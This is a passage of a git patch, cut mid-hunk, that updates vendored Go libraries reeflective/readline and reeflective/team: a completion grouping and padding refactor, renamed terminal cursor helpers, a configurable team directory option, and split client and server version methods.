errors, + // or if we have no completions but usage strings. + defer func() { + e.hintCompletions(completions) + }() + + // Nothing else to do if no completions + if len(completions.values) == 0 { + return + } + + // Apply the prefix to the completions, and filter out any + // completions that don't match, optionally ignoring case. + matchCase := e.config.GetBool("completion-ignore-case") + completions.values = completions.values.FilterPrefix(e.prefix, !matchCase) - e.group(completions) + // Classify, group together and initialize completions. + completions.values.EachTag(e.generateGroup(completions)) + e.justifyGroups(completions) } -func (e *Engine) setPrefix(comps Values) { - switch comps.PREFIX { +func (e *Engine) setPrefix(completions Values) { + switch completions.PREFIX { case "": // Select the character just before the cursor. cpos := e.cursor.Pos() - 1 @@ -49,15 +74,18 @@ func (e *Engine) setPrefix(comps Values) { cpos++ } + // You might wonder why we trim spaces here: + // in practice we don't really ever want to + // consider "how many spaces are somewhere". e.prefix = strings.TrimSpace(string((*e.line)[bpos:cpos])) default: - e.prefix = comps.PREFIX + e.prefix = completions.PREFIX } } -func (e *Engine) setSuffix(comps Values) { - switch comps.SUFFIX { +func (e *Engine) setSuffix(completions Values) { + switch completions.SUFFIX { case "": cpos := e.cursor.Pos() _, epos := e.line.SelectBlankWord(cpos) @@ -81,8 +109,68 @@ func (e *Engine) setSuffix(comps Values) { e.suffix = strings.TrimSpace(string((*e.line)[cpos:epos])) default: - e.suffix = comps.SUFFIX + e.suffix = completions.SUFFIX + } +} + +// Returns a function to run on each completio group tag. +func (e *Engine) generateGroup(comps Values) func(tag string, values RawValues) { + return func(tag string, values RawValues) { + // Separate the completions that have a description and + // those which don't, and devise if there are aliases. + vals, noDescVals, descriptions := e.groupNonDescribed(&comps, values) + + // Create a "first" group with the "first" grouped values + e.newCompletionGroup(comps, tag, vals, descriptions) + + // If we have a remaining group of values without descriptions, + // we will print and use them in a separate, anonymous group. + if len(noDescVals) > 0 { + e.newCompletionGroup(comps, "", vals, descriptions) + } + } +} + +// groupNonDescribed separates values based on whether they have descriptions, or are aliases of each other. +func (e *Engine) groupNonDescribed(comps *Values, values RawValues) (vals, noDescVals RawValues, descs []string) { + var descriptions []string + + prefix := "" + if e.prefix != "\"\"" && e.prefix != "''" { + prefix = e.prefix + } + + for _, val := range values { + // Ensure all values have a display string. + if val.Display == "" { + val.Display = val.Value + } + + // Currently this is because errors are passed as completions. + if strings.HasPrefix(val.Value, prefix+"ERR") && val.Value == prefix+"_" { + comps.Messages.Add(color.FgRed + val.Display + val.Description) + + continue + } + + // Grid completions + if val.Description == "" { + noDescVals = append(noDescVals, val) + + continue + } + + descriptions = append(descriptions, val.Description) + vals = append(vals, val) + } + + // if no candidates have a description, swap + if len(vals) == 0 { + vals = noDescVals + noDescVals = make(RawValues, 0) } + + return vals, noDescVals, descriptions } func (e *Engine) currentGroup() (grp *group) { @@ -95,7 +183,7 @@ func (e *Engine) currentGroup() (grp *group) { // If there are groups but no current, make first one the king. if len(e.groups) > 0 { for _, g := range e.groups { - if len(g.values) > 0 { + if len(g.rows) > 0 { g.isCurrent = true return g } @@ -124,7 +212,7 @@ func (e *Engine) cycleNextGroup() { for { next := e.currentGroup() - if len(next.values) == 0 { + if len(next.rows) == 0 { e.cycleNextGroup() continue } @@ -151,7 +239,7 @@ func (e *Engine) cyclePreviousGroup() { for { prev := e.currentGroup() - if len(prev.values) == 0 { + if len(prev.rows) == 0 { e.cyclePreviousGroup() continue } @@ -160,6 +248,40 @@ func (e *Engine) cyclePreviousGroup() { } } +func (e *Engine) justifyGroups(values Values) { + commandGroups := make([]*group, 0) + maxCellLength := 0 + + for _, group := range e.groups { + // Skip groups that are not to be justified + justify := values.Pad[group.tag] + if !justify { + justify = values.Pad["*"] + } + + if !justify { + continue + } + + // Skip groups that are aliased or have more than one column + if group.aliased || len(group.columnsWidth) > 1 { + continue + } + + // Else this group should be justified-padded globally. + commandGroups = append(commandGroups, group) + + if group.longestValue > maxCellLength { + maxCellLength = group.longestValue + } + } + + for _, group := range commandGroups { + group.columnsWidth[0] = maxCellLength + group.longestValue = maxCellLength + } +} + func (e *Engine) adjustCycleKeys(row, column int) (int, int) { cur := e.currentGroup() @@ -190,23 +312,25 @@ func (e *Engine) adjustSelectKeymap() { } } +// completionCount returns the number of completions for a given group, +// as well as the number of real terminal lines it spans on, including +// the group name if there is one. func (e *Engine) completionCount() (comps int, used int) { for _, group := range e.groups { - groupComps := 0 - - for _, row := range group.values { - groupComps += len(row) - comps += groupComps + // First, agree on the number of comps. + for _, row := range group.rows { + comps += len(row) } - if group.maxY > len(group.values) { - used += len(group.values) - } else { - used += group.maxY + // One line for the group name + if group.tag != "" { + used++ } - if groupComps > 0 { - used++ + if group.maxY > len(group.rows) { + used += group.maxY + } else { + used += len(group.rows) } } @@ -224,18 +348,18 @@ func (e *Engine) hasUniqueCandidate() bool { return false } - if len(cur.values) == 1 { - return len(cur.values[0]) == 1 + if len(cur.rows) == 1 { + return len(cur.rows[0]) == 1 } - return len(cur.values) == 1 + return len(cur.rows) == 1 default: var count int GROUPS: for _, group := range e.groups { - for _, row := range group.values { + for _, row := range group.rows { count++ for range row { count++ @@ -252,7 +376,7 @@ func (e *Engine) hasUniqueCandidate() bool { func (e *Engine) noCompletions() bool { for _, group := range e.groups { - if len(group.values) > 0 { + if len(group.rows) > 0 { return false } } @@ -314,7 +438,7 @@ func (e *Engine) getAbsPos() int { for _, grp := range e.groups { groupComps := 0 - for _, row := range grp.values { + for _, row := range grp.rows { groupComps += len(row) } @@ -346,35 +470,6 @@ func (e *Engine) getAbsPos() int { return prev } -// getColumnPad either updates or adds a new column for an alias. -func getColumnPad(columns []int, valLen int, numAliases int) []int { - switch { - case (float64(sum(columns) + valLen)) > - (float64(term.GetWidth()) * maxValuesAreaRatio): - columnX := numAliases % len(columns) - - if columns[columnX] < valLen { - columns[columnX] = valLen - } - case numAliases > len(columns): - columns = append(columns, valLen) - case columns[numAliases-1] < valLen: - columns[numAliases-1] = valLen - } - - return columns -} - -func stringInSlice(s string, sl []string) bool { - for _, str := range sl { - if s == str { - return true - } - } - - return false -} - func sum(vals []int) (sum int) { for _, val := range vals { sum += val @@ -392,3 +487,18 @@ func hasUpper(line []rune) bool { return false } + +func longest(vals []string, trimEscapes bool) int { + var length int + for _, val := range vals { + if trimEscapes { + val = color.Strip(val) + } + + if len(val) > length { + length = len(val) + } + } + + return length +} diff --git a/vendor/github.com/reeflective/readline/internal/completion/values.go b/vendor/github.com/reeflective/readline/internal/completion/values.go index 7bbfaa97f1..5db020e3d5 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/values.go +++ b/vendor/github.com/reeflective/readline/internal/completion/values.go @@ -1,6 +1,8 @@ package completion -import "strings" +import ( + "strings" +) // RawValues is a list of completion candidates. type RawValues []Candidate @@ -62,22 +64,37 @@ func (c RawValues) EachTag(tagF func(tag string, values RawValues)) { // FilterPrefix filters values with given prefix. // If matchCase is false, the filtering is made case-insensitive. +// This function ensures that all spaces are correctly. func (c RawValues) FilterPrefix(prefix string, matchCase bool) RawValues { + if prefix == "" { + return c + } + filtered := make(RawValues, 0) if !matchCase { prefix = strings.ToLower(prefix) } - for _, r := range c { - val := r.Value + for _, raw := range c { + val := raw.Value + if !matchCase { val = strings.ToLower(val) } if strings.HasPrefix(val, prefix) { - filtered = append(filtered, r) + filtered = append(filtered, raw) } } + return filtered } + +func (c RawValues) Len() int { return len(c) } + +func (c RawValues) Swap(i, j int) { c[i], c[j] = c[j], c[i] } + +func (c RawValues) Less(i, j int) bool { + return strings.ToLower(c[i].Value) < strings.ToLower(c[j].Value) +} diff --git a/vendor/github.com/reeflective/readline/internal/core/line.go b/vendor/github.com/reeflective/readline/internal/core/line.go index b5a4526e4f..7f34c9c526 100644 --- a/vendor/github.com/reeflective/readline/internal/core/line.go +++ b/vendor/github.com/reeflective/readline/internal/core/line.go @@ -331,7 +331,7 @@ func DisplayLine(l *Line, indent int) { // Clear everything before each line, except the first. if num > 0 { - term.MoveCursorForward(indent) + term.MoveCursorForwards(indent) line = term.ClearLineBefore + line } diff --git a/vendor/github.com/reeflective/readline/internal/display/engine.go b/vendor/github.com/reeflective/readline/internal/display/engine.go index 892e9eeb09..8b0c374194 100644 --- a/vendor/github.com/reeflective/readline/internal/display/engine.go +++ b/vendor/github.com/reeflective/readline/internal/display/engine.go @@ -73,7 +73,7 @@ func (e *Engine) Refresh() { // Go back to the first column, and if the primary prompt // was not printed yet, back up to the line's beginning row. - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) if !e.primaryPrinted { term.MoveCursorUp(e.cursorRow) @@ -84,7 +84,7 @@ func (e *Engine) Refresh() { // Get all positions required for the redisplay to come: // prompt end (thus indentation), cursor positions, etc. - e.computeCoordinates() + e.computeCoordinates(true) // Print the line, right prompt, hints and completions. e.displayLine() @@ -113,7 +113,7 @@ func (e *Engine) ClearHelpers() { term.MoveCursorUp(1) term.MoveCursorUp(e.lineRows) term.MoveCursorDown(e.cursorRow) - term.MoveCursorForward(e.cursorCol) + term.MoveCursorForwards(e.cursorCol) } // ResetHelpers cancels all active hints and completions. @@ -129,19 +129,19 @@ func (e *Engine) ResetHelpers() { func (e *Engine) AcceptLine() { e.CursorToLineStart() - e.computeCoordinates() + e.computeCoordinates(false) // Go back to the end of the non-suggested line. - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) term.MoveCursorDown(e.lineRows) - term.MoveCursorForward(e.lineCol) + term.MoveCursorForwards(e.lineCol) fmt.Print(term.ClearScreenBelow) // Reprint the right-side prompt if it's not a tooltip one. e.prompt.RightPrint(e.lineCol, false) // Go below this non-suggested line and clear everything. - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) fmt.Print(term.NewlineReturn) } @@ -166,9 +166,9 @@ func (e *Engine) RefreshTransient() { // This function should only be called when the cursor is on its // "cursor" position on the input line. func (e *Engine) CursorToLineStart() { - term.MoveCursorBackward(e.cursorCol) + term.MoveCursorBackwards(e.cursorCol) term.MoveCursorUp(e.cursorRow) - term.MoveCursorForward(e.startCols) + term.MoveCursorForwards(e.startCols) } // CursorBelowLine moves the cursor to the leftmost @@ -186,8 +186,8 @@ func (e *Engine) CursorBelowLine() { // last character of the prompt. func (e *Engine) lineStartToCursorPos() { term.MoveCursorDown(e.cursorRow) - term.MoveCursorBackward(term.GetWidth()) - term.MoveCursorForward(e.cursorCol) + term.MoveCursorBackwards(term.GetWidth()) + term.MoveCursorForwards(e.cursorCol) } // cursor is on the line below the last line of input. @@ -197,7 +197,7 @@ func (e *Engine) cursorHintToLineStart() { e.CursorToLineStart() } -func (e *Engine) computeCoordinates() { +func (e *Engine) computeCoordinates(suggested bool) { // Get the new input line and auto-suggested one. e.line, e.cursor = e.completer.Line() if e.completer.IsInserting() { @@ -222,7 +222,7 @@ func (e *Engine) computeCoordinates() { e.cursorCol, e.cursorRow = core.CoordinatesCursor(e.cursor, e.startCols) // Get the number of rows used by the line, and the end line X pos. - if e.opts.GetBool("history-autosuggest") { + if e.opts.GetBool("history-autosuggest") && suggested { e.lineCol, e.lineRows = core.CoordinatesLine(&e.suggested, e.startCols) } else { e.lineCol, e.lineRows = core.CoordinatesLine(e.line, e.startCols) @@ -285,7 +285,7 @@ func (e *Engine) displayHelpers() { e.compRows = completion.Coordinates(e.completer) // Go back to the first line below the input line. - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) term.MoveCursorUp(e.compRows) term.MoveCursorUp(ui.CoordinatesHint(e.hint)) } diff --git a/vendor/github.com/reeflective/readline/internal/display/highlight.go b/vendor/github.com/reeflective/readline/internal/display/highlight.go index c45ebb8c71..5da978ca3f 100644 --- a/vendor/github.com/reeflective/readline/internal/display/highlight.go +++ b/vendor/github.com/reeflective/readline/internal/display/highlight.go @@ -174,7 +174,7 @@ func (e *Engine) hlAdd(regions []core.Selection, newHl core.Selection, line []ru // Update the highlighting with inputrc settings if any. if bg != "" && !matcher { - background := strings.ReplaceAll(e.opts.GetString("active-region-start-color"), `\e`, "\x1b") + background := color.UnquoteRC("active-region-start-color") if bg, _ = strconv.Unquote(background); bg == "" { bg = color.Reverse } diff --git a/vendor/github.com/reeflective/readline/internal/keymap/config.go b/vendor/github.com/reeflective/readline/internal/keymap/config.go index e787e2f978..fb23fbcde9 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/config.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/config.go @@ -12,11 +12,18 @@ import ( // readline global options specific to this library. var readlineOptions = map[string]interface{}{ - "autocomplete": false, - "autopairs": false, + // General edition + "autopairs": false, + + // Completion + "autocomplete": false, + "completion-list-separator": "--", + "completion-selection-style": "\x1b[1;30m", + + // Prompt & General UI "transient-prompt": false, - "history-autosuggest": false, "usage-hint-always": false, + "history-autosuggest": false, } // ReloadConfig parses all valid .inputrc configurations and immediately diff --git a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go index 07b6dee4cc..2f7d476f30 100644 --- a/vendor/github.com/reeflective/readline/internal/keymap/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/keymap/cursor.go @@ -1,6 +1,9 @@ package keymap -import "fmt" +import ( + "fmt" + "strings" +) // CursorStyle is the style of the cursor // in a given input mode/submode. @@ -46,18 +49,25 @@ var defaultCursors = map[Mode]CursorStyle{ // PrintCursor prints the cursor for the given keymap mode, // either default value or the one specified in inputrc file. +// TODO: I've been quite vicious here, I need to admit: the logic +// is not made to use the default user cursor in insert-mode. +// It didn't bother. And if that can help some getting to use +// .inputrc, so be it. func (m *Engine) PrintCursor(keymap Mode) { var cursor CursorStyle // Check for a configured cursor in .inputrc file. - modeSet := m.config.GetString(string(keymap)) - if modeSet != "" { - cursor = defaultCursors[Mode(modeSet)] + cursorOptname := fmt.Sprintf("cursor-%s", string(keymap)) + modeSet := strings.TrimSpace(m.config.GetString(cursorOptname)) + + if _, valid := cursors[CursorStyle(modeSet)]; valid { + fmt.Print(cursors[CursorStyle(modeSet)]) + return } - // If the configured one was invalid, use default one. - if cursor == "" { - cursor = defaultCursors[keymap] + if cursor, valid := defaultCursors[keymap]; valid { + fmt.Print(cursors[cursor]) + return } fmt.Print(cursors[cursor]) diff --git a/vendor/github.com/reeflective/readline/internal/term/cursor.go b/vendor/github.com/reeflective/readline/internal/term/cursor.go index 98980d166d..ac40f80ceb 100644 --- a/vendor/github.com/reeflective/readline/internal/term/cursor.go +++ b/vendor/github.com/reeflective/readline/internal/term/cursor.go @@ -18,8 +18,8 @@ func MoveCursorDown(i int) { printf("\x1b[%dB", i) } -// MoveCursorForward moves the cursor forward i columns. -func MoveCursorForward(i int) { +// MoveCursorForwards moves the cursor forward i columns. +func MoveCursorForwards(i int) { if i < 1 { return } @@ -27,8 +27,8 @@ func MoveCursorForward(i int) { printf("\x1b[%dC", i) } -// MoveCursorBackward moves the cursor backward i columns. -func MoveCursorBackward(i int) { +// MoveCursorBackwards moves the cursor backward i columns. +func MoveCursorBackwards(i int) { if i < 1 { return } diff --git a/vendor/github.com/reeflective/readline/internal/term/term.go b/vendor/github.com/reeflective/readline/internal/term/term.go index fcf730696a..e9d8512fa4 100644 --- a/vendor/github.com/reeflective/readline/internal/term/term.go +++ b/vendor/github.com/reeflective/readline/internal/term/term.go @@ -31,7 +31,7 @@ func GetWidth() (termWidth int) { fd := int(stdoutTerm.Fd()) termWidth, _, err = GetSize(fd) - if err != nil { + if err != nil || termWidth == 0 { termWidth = defaultTermWidth } diff --git a/vendor/github.com/reeflective/readline/internal/ui/prompt.go b/vendor/github.com/reeflective/readline/internal/ui/prompt.go index e253278ac4..44ef0ac0ff 100644 --- a/vendor/github.com/reeflective/readline/internal/ui/prompt.go +++ b/vendor/github.com/reeflective/readline/internal/ui/prompt.go @@ -212,7 +212,7 @@ func (p *Prompt) TransientPrint() { } // Clean everything below where the prompt will be printed. - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) term.MoveCursorUp(p.primaryRows) fmt.Print(term.ClearScreenBelow) diff --git a/vendor/github.com/reeflective/readline/shell.go b/vendor/github.com/reeflective/readline/shell.go index 3a346efec3..da50a63876 100644 --- a/vendor/github.com/reeflective/readline/shell.go +++ b/vendor/github.com/reeflective/readline/shell.go @@ -144,7 +144,7 @@ func (rl *Shell) Printf(msg string, args ...any) (n int, err error) { // First go back to the last line of the input line, // and clear everything below (hints and completions). rl.Display.CursorBelowLine() - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) fmt.Print(term.ClearScreenBelow) // Skip a line, and print the formatted message. @@ -163,7 +163,7 @@ func (rl *Shell) PrintTransientf(msg string, args ...any) (n int, err error) { // First go back to the beginning of the line/prompt, and // clear everything below (prompt/line/hints/completions). rl.Display.CursorToLineStart() - term.MoveCursorBackward(term.GetWidth()) + term.MoveCursorBackwards(term.GetWidth()) term.MoveCursorUp(rl.Prompt.PrimaryUsed()) fmt.Print(term.ClearScreenBelow) diff --git a/vendor/github.com/reeflective/team/client/client.go b/vendor/github.com/reeflective/team/client/client.go index 75940500f0..d391305563 100644 --- a/vendor/github.com/reeflective/team/client/client.go +++ b/vendor/github.com/reeflective/team/client/client.go @@ -225,16 +225,28 @@ func (tc *Client) Users() (users []team.User, err error) { return res, nil } -// ServerVersion returns the version information of the server to which +// VersionClient returns the version information of the client, and thus +// does not require the teamclient to be connected to a teamserver. +// This function satisfies the VersionClient() function of the team.Client interface, +// which means that library users are free to reimplement it however they wish. +func (tc *Client) VersionClient() (ver team.Version, err error) { + if tc.client == nil { + return ver, ErrNoTeamclient + } + + return +} + +// VersionServer returns the version information of the server to which // the client is connected. // If the teamclient has no backend, it returns an ErrNoTeamclient error. // If the backend returns an error, the latter is returned as is. -func (tc *Client) ServerVersion() (ver team.Version, err error) { +func (tc *Client) VersionServer() (ver team.Version, err error) { if tc.client == nil { return ver, ErrNoTeamclient } - version, err := tc.client.Version() + version, err := tc.client.VersionServer() if err != nil { return } diff --git a/vendor/github.com/reeflective/team/client/commands/version.go b/vendor/github.com/reeflective/team/client/commands/version.go index f3dfa5993e..f5f59f0216 100644 --- a/vendor/github.com/reeflective/team/client/commands/version.go +++ b/vendor/github.com/reeflective/team/client/commands/version.go @@ -23,7 +23,6 @@ import ( "github.com/reeflective/team/client" "github.com/reeflective/team/internal/command" - "github.com/reeflective/team/internal/version" "github.com/sirupsen/logrus" "github.com/spf13/cobra" ) @@ -42,7 +41,7 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro } // Server - serverVer, err := cli.ServerVersion() + serverVer, err := cli.VersionServer() if err != nil { fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Server error: %s\n", err) } @@ -56,14 +55,19 @@ func versionCmd(cli *client.Client) func(cmd *cobra.Command, args []string) erro fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Server v%s - %s%s\n", serverSemVer, serverVer.Commit, dirty) // Client + clientVer, err := cli.Version() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Client error: %s\n", err) + return nil + } + cdirty := "" - if version.GitDirty() { + if clientVer.Dirty { cdirty = fmt.Sprintf(" - %sDirty%s", command.Bold, command.Normal) } - cliVer := version.Semantic() - cliSemVer := fmt.Sprintf("%d.%d.%d", cliVer[0], cliVer[1], cliVer[2]) - fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client v%s - %s%s\n", cliSemVer, version.GitCommit(), cdirty) + cliSemVer := fmt.Sprintf("%d.%d.%d", clientVer.Major, clientVer.Minor, clientVer.Patch) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Client v%s - %s%s\n", cliSemVer, clientVer.Commit, cdirty) return nil } diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go index 448a2c0885..96430bf471 100644 --- a/vendor/github.com/reeflective/team/client/directories.go +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -57,7 +57,7 @@ func (tc *Client) HomeDir() string { // creating the directory if needed, or logging an error event if failing to create it. // This directory is used to store teamclient logs and remote server configs. func (tc *Client) TeamDir() string { - dir := filepath.Join(tc.HomeDir(), assets.DirClient) + dir := filepath.Join(tc.HomeDir(), tc.opts.teamDir) err := tc.fs.MkdirAll(dir, log.DirPerm) if err != nil { diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go index 4b0b81d385..864ca353c4 100644 --- a/vendor/github.com/reeflective/team/client/options.go +++ b/vendor/github.com/reeflective/team/client/options.go @@ -24,9 +24,12 @@ import ( "os" "strings" + "github.com/reeflective/team/internal/assets" "github.com/sirupsen/logrus" ) +const noTeamdir = "no team subdirectory" + // Options are client options. // You can set or modify the behavior of a teamclient at various // steps with these options, which are a variadic parameter of @@ -39,6 +42,7 @@ type Options func(opts *opts) type opts struct { homeDir string + teamDir string noLogs bool logFile string inMemory bool @@ -77,6 +81,13 @@ func (tc *Client) apply(options ...Options) { tc.dialer = tc.opts.dialer } + // Team directory. + if tc.opts.teamDir == noTeamdir { + tc.opts.teamDir = "" + } else if tc.opts.teamDir == "" { + tc.opts.teamDir = assets.DirClient + } + if tc.opts.stdout != nil { tc.stdoutLogger.Out = tc.opts.stdout } @@ -91,7 +102,7 @@ func (tc *Client) apply(options ...Options) { // This might be useful for testing, or if you happen to embed a teamclient in a program // without the intent of using it now, etc. // -// This option can only be used once, and should be passed to server.New(). +// This option can only be used once, and should be passed client.New(). func WithInMemory() Options { return func(opts *opts) { opts.noLogs = true @@ -110,13 +121,30 @@ func WithConfig(config *Config) Options { // WithHomeDirectory sets the default path (~/.app/) of the application directory. // This path can still be overridden at the user-level with the env var APP_ROOT_DIR. // -// This option can only be used once, and must be passed to server.New(). +// This option can only be used once, and must be passed client.New(). func WithHomeDirectory(path string) Options { return func(opts *opts) { opts.homeDir = path } } +// WithTeamDirectory sets the name (not a path) of the teamclient-specific subdirectory. +// For example, passing "my_team_dir" will make the teamclient use ~/.app/my_team_dir/ +// instead of ~/.app/teamclient/. +// If this function is called with an empty string, the teamclient will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamclient directory. +// +// This option can only be used once, and should be passed client.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + // // *** Logging options *** // @@ -124,7 +152,7 @@ func WithHomeDirectory(path string) Options { // WithNoLogs deactivates all logging normally done by the teamclient // if noLogs is set to true, or keeps/reestablishes them if false. // -// This option can only be used once, and should be passed to server.New(). +// This option can only be used once, and should be passed client.New(). func WithNoLogs(noLogs bool) Options { return func(opts *opts) { opts.noLogs = noLogs @@ -134,7 +162,7 @@ func WithNoLogs(noLogs bool) Options { // WithLogFile sets the path to the file where teamclient logging should be done. // If not specified, the client log file is ~/.app/teamclient/logs/app.teamclient.log. // -// This option can only be used once, and should be passed to server.New(). +// This option can only be used once, and should be passed client.New(). func WithLogFile(filePath string) Options { return func(opts *opts) { opts.logFile = filePath @@ -143,7 +171,7 @@ func WithLogFile(filePath string) Options { // WithLogger sets the teamclient to use a specific logger for logging. // -// This option can only be used once, and should be passed to server.New(). +// This option can only be used once, and should be passed client.New(). func WithLogger(logger *logrus.Logger) Options { return func(opts *opts) { opts.logger = logger @@ -177,7 +205,7 @@ func WithDialer(dialer Dialer) Options { // If this is the case, this option will ensure that any cobra client command // runners produced by this library will not disconnect after each execution. // -// This option can only be used once, and should be passed to server.New(). +// This option can only be used once, and should be passed client.New(). func WithNoDisconnect() Options { return func(opts *opts) { opts.console = true diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go index 458c078634..6f562c4f30 100644 --- a/vendor/github.com/reeflective/team/server/core.go +++ b/vendor/github.com/reeflective/team/server/core.go @@ -154,15 +154,20 @@ func (ts *Server) Name() string { // of the application using this teamserver. // See the server.Listener and client.Dialer types documentation for more. func (ts *Server) Self(opts ...client.Options) *client.Client { - // opts = append(opts, client.WithLocalDialer()) - teamclient, _ := client.New(ts.Name(), ts, opts...) return teamclient } +// Version implements team.Client.VersionClient() interface +// method, so that the teamserver can be a teamclient of itself. +// This simply returns the server.VersionServer() output. +func (ts *Server) VersionClient() (team.Version, error) { + return ts.VersionServer() +} + // Version returns the teamserver binary version information. -func (ts *Server) Version() (team.Version, error) { +func (ts *Server) VersionServer() (team.Version, error) { semVer := version.Semantic() compiled, _ := version.Compiled() diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go index 188aa7436f..4c96c2a79a 100644 --- a/vendor/github.com/reeflective/team/server/directories.go +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -19,8 +19,6 @@ package server */ import ( - "fmt" - "os" "os/user" "path" "path/filepath" @@ -60,7 +58,7 @@ func (ts *Server) HomeDir() string { // creating the directory if needed, or logging an error event if failing to create it. // This directory is used to store teamserver certificates, database, logs, and configs. func (ts *Server) TeamDir() string { - dir := path.Join(ts.HomeDir(), assets.DirServer) + dir := path.Join(ts.HomeDir(), ts.opts.teamDir) err := ts.fs.MkdirAll(dir, log.DirPerm) if err != nil { @@ -95,32 +93,3 @@ func (ts *Server) CertificatesDir() string { return certDir } - -// When creating a new server, don't write anything to anywhere yet, -// but ensure that at least all directories to which we are supposed -// to write do indeed exist, and make them anyway. -// If any error happens it will returned right away and the creator -// of the teamserver will know right away that it can't work correctly. -func (ts *Server) checkWritableFiles() error { - if ts.opts.inMemory { - return nil - } - - // Check home application directory. - // If it does not exist but we don't have write permission - // on /user/home, we return an error as we can't work. - appDirWrite, err := log.IsWritable(ts.TeamDir()) - - switch { - case os.IsNotExist(err): - if homeWritable, err := log.IsWritable(os.Getenv("HOME")); !homeWritable { - return fmt.Errorf("Cannot create %w", err) - } - case err != nil: - return fmt.Errorf("Cannot write to %w", err) - case !appDirWrite: - return ErrDirectoryUnwritable - } - - return nil -} diff --git a/vendor/github.com/reeflective/team/server/options.go b/vendor/github.com/reeflective/team/server/options.go index 97a26e7f16..fe0b1488ad 100644 --- a/vendor/github.com/reeflective/team/server/options.go +++ b/vendor/github.com/reeflective/team/server/options.go @@ -23,11 +23,14 @@ import ( "os" "strings" + "github.com/reeflective/team/internal/assets" "github.com/reeflective/team/internal/db" "github.com/sirupsen/logrus" "gorm.io/gorm" ) +const noTeamdir = "no team subdirectory" + // Options are server options. // With these you can set/reset or modify the behavior of a teamserver // at various stages of its lifetime, or when performing some specific @@ -40,6 +43,7 @@ type Options func(opts *opts) type opts struct { homeDir string + teamDir string logFile string local bool noLogs bool @@ -80,6 +84,13 @@ func (ts *Server) apply(options ...Options) { ts.homeDir = ts.opts.homeDir } + // Team directory. + if ts.opts.teamDir == noTeamdir { + ts.opts.teamDir = "" + } else if ts.opts.teamDir == "" { + ts.opts.teamDir = assets.DirServer + } + // User-defined database. if ts.opts.db != nil { ts.db = ts.opts.db @@ -161,6 +172,23 @@ func WithHomeDirectory(path string) Options { } } +// WithTeamDirectory sets the name (not a path) of the teamserver-specific subdirectory. +// For example, passing "my_server_dir" will make the teamserver use ~/.app/my_server_dir/ +// instead of ~/.app/teamserver/. +// If this function is called with an empty string, the teamserver will not use any +// subdirectory for its own outputs, thus using ~/.app as its teamserver directory. +// +// This option can only be used once, and must be passed to server.New(). +func WithTeamDirectory(name string) Options { + return func(opts *opts) { + if name == "" { + name = noTeamdir + } + + opts.teamDir = name + } +} + // // *** Logging options *** // diff --git a/vendor/github.com/reeflective/team/teamclient.go b/vendor/github.com/reeflective/team/teamclient.go index 9a58747bb0..07fdefd54a 100644 --- a/vendor/github.com/reeflective/team/teamclient.go +++ b/vendor/github.com/reeflective/team/teamclient.go @@ -28,8 +28,12 @@ import "time" // is to be provided by the teamclients and teamservers alike. // - To harmonize the use of team/client and team/server core drivers. type Client interface { + // Users returns the list of teamserver users and their status. Users() ([]User, error) - Version() (Version, error) + // VersionClient returns the compilation/version information for the client. + VersionClient() (Version, error) + // VersionServer returns the compilation/version information from a connected teamserver. + VersionServer() (Version, error) } // User represents a teamserver user. diff --git a/vendor/modules.txt b/vendor/modules.txt index 4615c0c69f..2ff0cca93f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -520,7 +520,7 @@ github.com/psanford/memfs github.com/reeflective/console github.com/reeflective/console/commands/readline # github.com/reeflective/readline v1.0.8 => /home/user/code/github.com/reeflective/readline -## explicit; go 1.20 +## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc github.com/reeflective/readline/internal/color From 41aa386c1c2317a56f2249f71a3348fdaa932ebd Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 17 Aug 2023 05:59:22 +0200 Subject: [PATCH 086/124] Update following dependencies --- go.mod | 7 +- go.sum | 12 +- .../console/commands/readline/bind.go | 5 +- .../console/commands/readline/commands.go | 3 +- .../console/commands/readline/completers.go | 30 ++- .../console/commands/readline/export.go | 3 +- .../console/commands/readline/set.go | 5 +- .../{tab-completer.go => completer.go} | 186 ++++++++++++------ .../{syntax-highlighter.go => highlighter.go} | 0 vendor/github.com/reeflective/console/menu.go | 19 +- vendor/github.com/reeflective/console/run.go | 75 ++----- .../reeflective/team/client/client.go | 2 +- .../team/client/commands/version.go | 2 +- vendor/modules.txt | 9 +- 14 files changed, 187 insertions(+), 171 deletions(-) rename vendor/github.com/reeflective/console/{tab-completer.go => completer.go} (65%) rename vendor/github.com/reeflective/console/{syntax-highlighter.go => highlighter.go} (100%) diff --git a/go.mod b/go.mod index 23d1c6c81a..1a2907bf99 100644 --- a/go.mod +++ b/go.mod @@ -5,15 +5,11 @@ go 1.21 // A fork of the completion engine is currently used in order to consume the engine // as a library. The fork is a very slightly patched mainline tree for that purpose, 